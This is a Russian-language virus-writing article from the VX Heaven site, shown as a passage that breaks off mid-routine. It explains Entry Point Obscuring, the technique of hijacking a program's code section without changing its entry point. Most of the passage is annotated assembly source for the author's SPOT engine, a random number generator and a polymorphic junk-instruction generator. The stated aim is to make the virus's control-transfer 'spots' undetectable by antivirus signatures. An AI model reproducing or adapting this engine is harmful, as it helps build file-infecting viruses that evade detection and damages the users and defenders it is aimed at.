Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Построение простого EPO мотора

Sl0n
Argc&Argv, июль 2003, стр. 22-23
Июль 2003

1
[Вернуться к списку] [Комментарии]

В данной статье мы рассмотрим моделирование простого EPO мотора. На данную тему уже было написано несколько статей, но они в большей степени теоритические. В этом тексте будет рассмотрено, как теоритическое моделирование так и пример применения этой теории. В качестве примера будет разобран мой ЕPO мотор - SPOT.

Начнём мы прежде всего с определения EPO - Entry Point Obscuring. В переводе это означает - скрытие точки входа. В основном данное понятие применяется к компьютерным вирусам, которые не меняют в заголовке исполнимого файла точку входа. Точка входа это адрес с которого начинается выполнение программы при её запуске. Впервые данная техника была применена ещё в ДОС вирусах. В аспекте Windows систем данная техника была применена впервые в вирусе Cabanas. В чём же заключалась данная техника давайте рассмотрим на схеме.

		|------------------------------------------|
		|             Заголовок программы          |
		|  (в нём указан адрес запуска программы)  |
		|------------------------------------------|
		|                   .....                  |
		|         Здесь идут различные секции      |
		|                   .....                  |
		|------------------------|-----------------|
	|-------| Переход на тело вируса |                 |
	|	|------------------------|                 |
	|	|               Кодовая секция             |
	|	|------------------------------------------|
	|	|                   .....                  |
	|	|         Здесь идут различные секции      |
	|	|                   .....                  |
	|	|------------------------------------------|
	|------>|                   .....                  |
		|         	    ВИРУС                  |
		|                   .....                  |
		|------------------------------------------|

До вируса Cabanas в Windows системах такая техника не применялась. Обычно вирус Изменял в заголовке точку входа редактировал виртуальный размер и дописывал своё тело в конец файла (обычно вирус создавал новую секцию). Потому как все вирусы меняли точку входа, то антивирусные программы просто проверяли куда указывает точка входа и потом уже легко или сложно детектировали вирус.

В вирусе Cabanas первые 5 байт кодовой секции вначале сохраняются в теле вируса, а потом перезаписываются jmp'ом на начало вируса. Таким образом не нужно менять точку входа, потому что вирус получит управление после первой инструкции перехода.

После этого пошла волна вариаций на ту же тему. Инструкции передающие управление вирусу усложнялись, видоизменялись. Иногда туда встраивали даже декрипторы, которые расшифровывали закриптованное вирусное тело и передавали на него управление. Но антивирусные программы то же стали проверять куда передают управление первые инструкции кодовой секции. Так же постоянно обновляются маски этих инструкций передающих управление на вирусное тело.

Для того чтобы усложнить анализ и детектирование данных инструкций мной был разработан мотор (модуль), который легко применять.

Начнём мы посторение нашего мотора с того, что определимся чего нам необходимо достичь:

  1. Чтобы наши инструкции не обнаруживались по маске (мутация)
  2. Чтобы наши инструкции не сразу передавали управление вирусу или защите от взлома программы (маскировка)
  3. Чтобы управление в конце концов получил наш код

Теперь попытаемся определится, как наш мотор должен работать:

  1. В начало кода встраивается первая партия инструкций, но каждый раз она будет разная. Это будет реализовано за счёт разбавление одной значащей инструкции сложным разнообразным мусором.
  2. Первое пятно будет передавать управление второму и так далее, пока последнее пятно не передаст управление инжектированному коду.

Рассмотрим на примере устройство i-ого пятна:

                ...................
                mov     eax,7385673
                add     ebx,9874
                cmp     ecx,edx
                mov     edx,7234
                je      $+2
                jmp     to_i_plus1_spot
                add     eax,456678
                ...................            
 

Каждое из пятен сильно мутирующее, то есть по маске его детектировать не возможно. Количество пятен случайно и расстояние между пятнами то же случайно.

Все байты которые перетираются пятнами, сохраняются в теле вируса.

Для работы мотора необходимы следующие модули:

  1. Генератор случайных чисел (r_gen32.asm)
  2. Генератор исполнимого мусора (t_gen32.asm)

Разберём пример генератора случайных чисел:

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                       [RANDOM IN RANGE GENERATOR V. 0.2]                     ;
;                                                                              ;
;    ############              #############   #############   ######    ###   ;
;    #############            ##############  ##############  ########   ###   ;
;    ##        ###            ###             ###             ###  ###   ###   ;
;    #############            ###  ########   ##############  ###  ###   ###   ;
;    #############            ###  #########  ##############  ###  ###   ###   ;
;    ##        ###            ###        ###  ###             ###  ###   ###   ;
;    ##        ###            ##############  ##############  ###  #########   ;
;    ##        ###  #########  ############    #############  ###   #######    ;
;                   #########                                                  ;
;                                                                              ;
;                               FOR MS WINDOWS                                 ;
;                                                                              ;
;                                   BY SL0N                                    ;
;------------------------------------------------------------------------------;
;                                   MANUAL:                                    ;
;                                                                              ;
; RANGE OF RANDOM NUMBER -> EAX                                                ;
; CALL  BRANDOM32                                                              ;
;                                                                              ;
; RANDOM NUMBER IN RANGE -> EAX                                                ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
brandom32:                                        
                call    delta2
delta2:         pop     ebp
                sub     ebp,offset delta2
                                                   ; Эта подпрограмма
                                                   ; возвращает случайное число
                                                   ; в диапазоне 0..eax-1

                push    edx ecx                    ; Сохраняем в стэке edx, ecx
                xor     edx,edx                    ; Обнуляем edx
                imul    eax,eax,100                ; Умножаем eax на 100
                push    eax                        ; и сохраняем eax в стэке
                call    random32                   ; Вызываем подпрограмму
                                                   ; генерации случайного числа
                pop     ecx                        ; Восстанавливаем значение
                                                   ; из стэка в ecx
                div     ecx                        ; Делим eax на ecx
                xchg    eax,edx                    ; Помещаем остаток в eax
                xor     edx,edx                    ; Обнуляем edx
                mov     ecx,100                    ; Помещаем в ecx - 100
                div     ecx                        ; Делим eax на ecx
                pop     ecx edx                    ; Восстанавливаем ecx, edx
                ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                       RANDOM NUMBER GENERATOR SUBROUTINE                     ;
;------------------------------------------------------------------------------;
;                                  [ IN ]                                      ;
;                                                                              ;
;                            NO INPUT IN SUBROTINE                             ;
;------------------------------------------------------------------------------;
;                                  [ OUT ]                                     ;
;                                                                              ;
;                            RANDOM NUMBER -> EAX                              ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
random32:                                          
                                                   ; Генератор случайных чисел

                push    edx ecx                    ; Сохраняем в стэке edx, ecx
                db      0fh,031h                   ; Инструкция rdtsc
                rcl     eax,2                      ; Далее идут различные
                add     eax,12345678h              ; математические
                random_seed = dword ptr $-4        ; преобразования
                adc     eax,esp                    ; для получения, как
                xor     eax,ecx                    ; можно более не зависимого
                xor     [ebp+random_seed], eax     ; числа
                add     eax,[esp-8]                ;
                rcl     eax,1                      ;
                pop     ecx edx                    ; Восстанавливаем ecx, edx
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
 

Ничего сложного в этом модуле, как вы можете видеть нет.

Теперь перейдём к разаработке генератора мусора. Потому как без него с таким декриптором очень сложно достигнуть настоящего полиморфизма.

Исполнимый код должен быть как можно более разнообразным. В идеале получившийся декриптор с мусором должен походить на обыкновенную программу с условными переходами и множеством функций.

Рассмотрим генератора мусора на примере:

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                             [TRASH GENERATOR V. 0.2]                         ;
;                                                                              ;
;       #############       #############   #############   ######    ####     ;
;       #############      ##############  ##############  ########   ####     ;
;           ###            ###             ###             ###  ###   ####     ;
;           ###            ###  ########   ##############  ###  ###   ####     ;
;           ###            ###  #########  ##############  ###  ###   ###      ;
;           ###            ###        ###  ###             ###  ###   ###      ;
;           ###            ##############  ##############  ###  #########      ;
;           ###  #########  ############    #############  ###   #######       ;
;                #########                                                     ;
;                                                                              ;
;                                                                              ;
;                                  FOR MS WINDOWS                              ;
;                                                                              ;
;                                      BY SL0N                                 ;
;------------------------------------------------------------------------------;
;                                      MANUAL:                                 ;
;                                                                              ;
; LENGTH OF GARBAGE   -> ECX                                                   ;
; BUFFER FOR GARBAGE  -> EDI                                                   ;
; USELESS REGISTER N1 -> BH (0..7)                                             ;
; USELESS REGISTER N2 -> BL (0..7)                                             ;
;                                                                              ;
; CALL GARBAGE                                                                 ;
;------------------------------------------------------------------------------;
;                           IT GENERATES INSTRUCTIONS:                         ;
;                                                                              ;
; MOV, MOVSX/ZX, XCHG, LEA, ADD/ADC/AND/OR/SUB/SBB/XOR/CMP                     ;
; INC/DEC, NOT/NEG, TEST, IMUL, ROL/ROR/RCL/RCR/SHL/SHR                        ;
; SHLD/SHRD, XADD, BSR/BSF, BT/BTC/BTR/BTS, JMP,REPZ/NZ                        ;
; PUSH/POP, X87, JX/JNX, STX, CLX, NOP, CALL                                   ;
;                                                                              ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
garbage:                                           ; Подпрограмма генерации
                                                   ; мусорных инструкций
                push    edx                        ; Сохраняем в стэке
                push    ecx                        ; edx, ecx, ebx, ebp, esi
                push    esi                        ;
                push    ebp                        ;
                push    ebx                        ;

                call    delta_offset1              ;
delta_offset1:  pop     ebp                        ; Получаем дельта смещение
                sub     ebp,offset delta_offset1   ;
delta_offset:
                mov     eax,19                     ; Выбираем случайным образом
                call    brandom32                  ; вариант генерации мусорных
                                                   ; инструкций
                shl     eax,1                      ; Умножаем eax на 2
                lea     esi,[ebp+mega_table]       ; В esi смещение на таблицу
                                                   ; относительных смещений
                add     esi,eax                    ; к esi добавляем eax
                xor     eax,eax                    ; Обнуляем eax
                lodsw                              ; В ax загружаем
                                                   ; относительное смещение от
                                                   ; метки delta_offset
                lea     esi,[ebp+delta_offset]     ; В esi кладём смещение
                                                   ; метки delta_offset
                add     eax,esi                    ; Добавляем смещение
                                                   ; подпрограммы
                call    eax                        ; Вызываем её
                jmp     delta_offset               ; Переход на delta_offset
;------------------------------------------------------------------------------;
instr_je:
                cmp     cl,2                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 2, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     eax,10                     ; Выбираем случайным образом
                call    brandom32                  ; число от 0..9
                                                   ;
                add     al,70h                     ; Добавляем 70h
                stosb                              ; и кладём его в буфер
                xor     al,al                      ; Помещаем в al - 0
                stosb                              ; и кладём его в буфер
                                                   ;
                                                   ; В итоге у нас получается
                                                   ; случайно выбранный,
                                                   ; условный, вырожденный
                                                   ; переход:
                                                   ; ...................
                                                   ; je              $+2
                                                   ; jae             $+2
                                                   ; ...................
                sub     ecx,2                      ; Уменьшаем счётчик на 2
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_not:
                cmp     cl,2                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 2, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,0f7h                    ; Помещаем в al - 0f7h
                stosb                              ; и кладём его в буфер
                mov     dl,0d0h                    ; Помещаем в dl - 0dh
                mov     eax,2                      ; Генерируем случайное число
                call    brandom32                  ; в диапазоне 0..2
                shl     eax,3                      ; Умножаем на 8
                add     dl,al                      ; Добавляем к dl - al
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                add     al,dl                      ; Добавляем к al - dl
                stosb                              ; и кладём его в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкция NOT/NEG:
                                                   ; ...................
                                                   ; not             eax
                                                   ; neg             edx
                                                   ; ...................
                sub     ecx,2                      ; Уменьшаем счётчик на 2
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_je2:
                cmp     cl,6                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 6, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,0fh                     ; Помещаем в al - 0fh
                stosb                              ; и кладём его в буфер
                mov     eax,10                     ; Выбираем случайным образом
                call    brandom32                  ; число от 0..9
                                                   ;
                add     al,80h                     ; Добавляем 80h
                stosb                              ; и кладём его в буфер
                xor     eax,eax                    ; Помещаем в eax - 0
                stosd                              ; и кладём его в буфер
                                                   ;
                                                   ; В итоге у нас получается
                                                   ; случайно выбранный,
                                                   ; условный, вырожденный
                                                   ; переход:
                                                   ; ...................
                                                   ; je              $+5
                                                   ; jae             $+5
                                                   ; ...................
                sub     ecx,6                      ; Уменьшаем счётчик на 6
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_x87:
                cmp     cl,2                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 2, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,0dch                    ; Кладём в al - 0dch
                stosb                              ; И помещаем al в буфер
                mov     eax,02fh                   ; Генерируем случайное число
                call    brandom32                  ; в интервале 0..2eh
                add     al,0c0h                    ; Добавляем к числу 0c0h
                stosb                              ; и помещаем сумму в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкция сопроцессора:
                                                   ; ...................
                                                   ; fadd       st(0),st
                                                   ; fmul       st(7),st
                                                   ; ...................
                sub     ecx,2                      ; Уменьшаем счётчик на 2
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_cmp:
                cmp     cl,2                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 2, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     dl,3ah                     ; Помещаем в dl - 03ah
                mov     eax,3                      ; Получаем случайное число
                call    brandom32                  ; в диапазоне 0..2
                add     al,dl                      ; Добавляем к al - dl
                stosb                              ; Затем помещаем al в буфер
                call    rnd_reg                    ; Получаем случайный регистр
                shl     eax,3                      ; Умножаем eax на 8
                add     al,0c0h                    ; Добавляем к al - 0c0h
                mov     dl,al                      ; помещаем в cl - al
                call    rnd_reg                    ; Получаем случайный регистр
                add     al,dl                      ; Добавляем к al - cl
                stosb                              ; И помещаем al в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкция CMP:
                                                   ; ...................
                                                   ; cmp         eax,esp
                                                   ; cmp          al,0c0
                                                   ; ...................
                sub     ecx,2                      ; Уменьшаем счётчик на 2
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_xor:
                cmp     cl,2                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 2, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,33h                     ; Помещаем в al - 33h
                stosb                              ; И затем кладём это в буфер
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                shl     eax,3                      ; Умножаем eax на 8
                add     al,0c0h                    ; Добавляем к al - 0c0h
                mov     dl,al                      ; помещаем в cl - al
                call    rnd_reg                    ; Получаем случайный регистр
                add     al,dl                      ; Добавляем к al - cl
                stosb                              ; И помещаем al в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкция XOR:
                                                   ; ...................
                                                   ; xor         eax,esp
                                                   ; xor         edi,ecx
                                                   ; ...................
                sub     ecx,2                      ; Уменьшаем счётчик на 2
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_test:
                cmp     cl,2                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 2, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     dl,084h                    ; Помещаем в dl - 084h
                mov     eax,2                      ; Получаем случайное число
                call    brandom32                  ; в диапазоне 0..1
                add     al,dl                      ; Добавляем к al - dl
                stosb                              ; И затем кладём это в буфер
                call    rnd_reg                    ; Вызываем подпрограмму
                                                   ; получения случайного
                                                   ; регистра
                add     al,0c0h                    ; Добавляем к al - 0c0h
                mov     dl,al                      ; помещаем в cl - al
                call    rnd_reg                    ; Получаем случайный регистр
                add     al,dl                      ; Добавляем к al - cl
                stosb                              ; И помещаем al в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкция XOR:
                                                   ; ...................
                                                   ; test        eax,esp
                                                   ; test          al,cl
                                                   ; ...................
                sub     ecx,2                      ; Уменьшаем счётчик на 2
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_movr:
                cmp     cl,2                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 2, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,8bh                     ; Помещаем в al - 8bh
                stosb                              ; Потом помещаем al в буфер
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                shl     eax,3                      ; Умножаем eax на 8
                add     al,0c0h                    ; Добавляем к al - 0c0h
                mov     dl,al                      ; помещаем в cl - al
                call    rnd_reg                    ; Получаем случайный регистр
                add     al,dl                      ; Добавляем к al - cl
                stosb                              ; И помещаем al в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкция MOV:
                                                   ; ...................
                                                   ; mov         eax,esp
                                                   ; mov         edi,ecx
                                                   ; ...................
                sub     ecx,2                      ; Уменьшаем счётчик на 2
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_push:
                cmp     cl,2                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 2, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                call    rnd_reg                    ; Получаем случайный регистр
                add     al,50h                     ; Добавляем к al - 50h
                stosb                              ; Кладём al в буфер
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                add     al,58h                     ; Добавляем к al - 8
                stosb                              ; И опять кладём al в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкции PUSH/POP:
                                                   ; ...................
                                                   ; push            eax
                                                   ; pop             ecx
                                                   ; ...................
                sub     ecx,2                      ; Уменьшаем счётчик на 2
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_movc:
                cmp     cl,5                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 5, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                add     al,0b8h                    ; Добавляем к al - 0b8h
                stosb                              ; И кладём al в буфер
                call    random32                   ; Генерируем случайное
                stosd                              ; число
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкции MOV:
                                                   ; ...................
                                                   ; mov    eax,12345678
                                                   ; mov    ebp,00056800
                                                   ; ...................
                sub     ecx,5                      ; Уменьшаем счётчик на 5
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_jmp:
                cmp     cl,5                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 5, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,0e9h                    ; Кладём в al - 0b8h
                stosb                              ; И кладём al в буфер
                xor     eax,eax                    ; Обнуляем eax
                stosd                              ; И кладём его в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкции JMP:
                                                   ; ...................
                                                   ; jmp             $+5
                                                   ; ...................
                sub     ecx,5                      ; Уменьшаем счётчик на 5
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_l32:
                cmp     cl,6                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 6, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,81h                     ; Кладём в al - 81h
                stosb                              ; И помещаем al в буфер
                mov     eax,4                      ; Получаем случайное число
                call    brandom32                  ; в диапазоне от 0..9
                add     al,0ch                     ; Добавляем к нему - 0ch
                mov     dl,10h                     ; Кладём в dl - 10h
                mul     dl                         ; Умножаем на dl
                mov     dl,al                      ; Кладём в dl - al
                mov     eax,2                      ; Получаем случайное число
                call    brandom32                  ; в диапазоне от 0..1
                shl     al,3                       ; Умножаем al на 8
                add     dl,al                      ; Добавляем к dl - al
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                add     al,dl                      ; Добавляем к al - dl
                stosb                              ; И кладём al в буфер
                call    random32                   ; Генерируем случайное
                stosd                              ; число и кладём его в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкции ADD:
                                                   ; ...................
                                                   ; add    eax,12345678
                                                   ; or     ebp,00056800
                                                   ; ...................
                sub     ecx,6                      ; Уменьшаем счётчик на 5
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_lea:
                cmp     cl,6                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 6, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,8dh                     ; Кладём в al - 8dh
                stosb                              ; И помещаем al в буфер
                mov     dl,08h                     ; Кладём в dl - 08h
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                mul     dl                         ; Добавляем к al - dl
                add     al,5                       ; Добавляем к al - 5
                stosb                              ; И кладём al в буфер
                call    random32                   ; Генерируем случайное
                stosd                              ; число
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкции LEA:
                                                   ; ...................
                                                   ; lea  eax,[12345678]
                                                   ; lea  ebp,[00056800]
                                                   ; ...................
                sub     ecx,6                      ; Уменьшаем счётчик на 6
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_cl:
                cmp     cl,6                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 6, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,0e8h                    ; Кладём в al - e8h
                stosb                              ; И помещаем al в буфер
                xor     eax,eax                    ; Обнуляем eax и помещаем
                stosd                              ; его в буфер
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                add     al,58h                     ; Добавляем к al - 8
                stosb                              ; И опять кладём al в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкции CALL:
                                                   ; ...................
                                                   ; call            $+5
                                                   ; pop             eax
                                                   ; ...................
                sub     ecx,6                      ; Уменьшаем счётчик на 6
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_shl:
                cmp     cl,3                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 3, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,0c1h                    ; Кладём в al - 0c1h
                stosb                              ; И помещаем al в буфер
                mov     eax,6                      ; Генерируем случайное число
                call    brandom32                  ; в диапазоне 0..5
                shl     eax,3                      ; Умножаем его на 8
                add     al,0c0h                    ; Добавляем к нему - 0c0h
                mov     dl,al                      ; Помещаем в dl - al
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                add     al,dl                      ; Добавляем к al - dl
                stosb                              ; И помещаем al в буфер
                mov     eax,256                    ; Генерируем случайное число
                call    brandom32                  ; в диапазоне 0..255
                stosb                              ; И кладём его в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкции SHL,ROL, ...:
                                                   ; ...................
                                                   ; ror          eax,78
                                                   ; shl          ebp,04
                                                   ; ...................
                sub     ecx,3                      ; Уменьшаем счётчик на 2
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_a32:
                cmp     cl,3                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 3, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,0fh                     ; Кладём в al - 0fh
                stosb                              ; И помещаем al в буфер
                lea     esi,[ebp+three_byte_opcode]; Кладём в esi указатель на
                                                   ; таблицу частей 3-х байтных
                                                   ; инструкций
                mov     eax,14                     ; Генерируем случайное число
                call    brandom32                  ; в диапазоне 0..13
                add     esi,eax                    ; Прибавляем к esi - eax
                movsb                              ; Перемещаем байт в буфер
                mov     dl,0c0h                    ; Кладём в dl - 0с0h
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                shl     eax,3                      ; Умножаем eax на 8
                add     dl,al                      ; Добавляем к dl - al
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                add     al,dl                      ; Добавляем к al - dl
                stosb                              ; И помещаем al в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкции XADD,IMUL, ...:
                                                   ; ...................
                                                   ; xadd        eax,eax
                                                   ; imul        ebp,ecx
                                                   ; ...................
                sub     ecx,3                      ; Уменьшаем счётчик на 3
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_xchg:
                cmp     cl,2                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 2, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,087h                    ; Кладём в al - 087h
                stosb                              ; И помещаем al в буфер
                mov     dl,0c0h                    ; Кладём в dl - 0с0h
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                shl     eax,3                      ; Умножаем eax на 8
                add     dl,al                      ; Добавляем к dl - al
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                add     al,dl                      ; Добавляем к al - dl
                stosb                              ; И помещаем al в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкции XCHG:
                                                   ; ...................
                                                   ; xchg        eax,eax
                                                   ; xchg        ebp,ecx
                                                   ; ...................
                sub     ecx,2                      ; Уменьшаем счётчик на 2
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_a16:
                cmp     cl,4                       ; Если длина генерируемой
                jl      one_byte                   ; инструкции меньше 4, то
                                                   ; мы переходим на генерацию
                                                   ; однобайтовых инструкций
                mov     al,066h                    ; Кладём в al - 066h
                stosb                              ; И помещаем al в буфер
                mov     dl,0b8h                    ; Помещаем в dl - 0b8h
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                add     al,dl                      ; Добавляем к al - dl
                stosb                              ; И помещаем al в буфер
                mov     eax,0ffffh                 ; Генерируем случайное число
                call    brandom32                  ; в диапазоне 0..65534
                stosw                              ; И помещаем его в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкции MOV:
                                                   ; ...................
                                                   ; mov         ax,3452
                                                   ; mov         bp,1234
                                                   ; ...................
                sub     ecx,4                      ; Уменьшаем счётчик на 4
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
one_byte:
                mov     eax,3                      ; Генерируем случайное число
                call    brandom32                  ; в диапазоне 0..2
                                                   
                cmp     al,1                       ; Если число = 1, то
                je      instr_inc                  ; генерируем инструкцию INC

                cmp     al,2                       ; Если число = 2, то
                je      instr_dec                  ; генерируем инструкцию DEC

                lea     esi,[ebp+one_byte_opcode]  ; Кладём в esi указатель на
                                                   ; таблицу однобайтных
                                                   ; инструкций
                mov     eax,8                      ; Генерируем случайное число
                call    brandom32                  ; в диапазоне 0..7
                add     esi,eax                    ; Прибавляем к esi - eax
                test    ecx,ecx                    ; Если длина инструкции = 0,
                jz      landing                    ; тогда переходим на конец
                movsb                              ; Помещаем инструкцию
                                                   ; из таблицы в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкция из таблицы:
                                                   ; ...................
                                                   ; cld            
                                                   ; nop            
                                                   ; ...................
                dec     ecx                        ; Уменьшаем ecx на единицу
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_inc:
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                add     al,40h                     ; Добавляем к al - 40h
                test    ecx,ecx                    ; Если длина инструкции = 0,
                jz      landing                    ; тогда переходим на конец
                stosb                              ; Помещаем al в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкции INC:
                                                   ; ...................
                                                   ; inc             eax
                                                   ; inc             ebp
                                                   ; ...................
                dec     ecx                        ; Уменьшаем ecx на единицу
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_dec:
                call    free_reg                   ; Вызываем подпрограмму
                                                   ; получения свободных
                                                   ; регистров
                add     al,48h                     ; Добавляем к al - 40h
                test    ecx,ecx                    ; Если длина инструкции = 0,
                jz      landing                    ; тогда переходим на конец
                stosb                              ; Помещаем al в буфер
                                                   ; В итоге у нас получается
                                                   ; случайно выбранная
                                                   ; инструкции DEC:
                                                   ; ...................
                                                   ; dec             eax
                                                   ; dec             ebp
                                                   ; ...................
                dec     ecx                        ; Уменьшаем ecx на единицу
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
landing:        
                add     esp,4                      ; Выталкиваем их стэка уже
                pop     ebx                        ; не нужный адрес возврата
                pop     ebp                        ;
                pop     esi                        ; Восстанавливаем регистры
                pop     ecx                        ; из стэка.
                pop     edx                        ;
                ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                           FREE REGISTER SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                            NO INPUT IN SUBROTINE                             ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                            FREE REGISTER -> EAX                              ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
free_reg:                                          
                                                   ; Подпрограмма получения
                                                   ; свободного регистра

                push    edx ecx                    ; Сохраняем в стэке edx, ecx
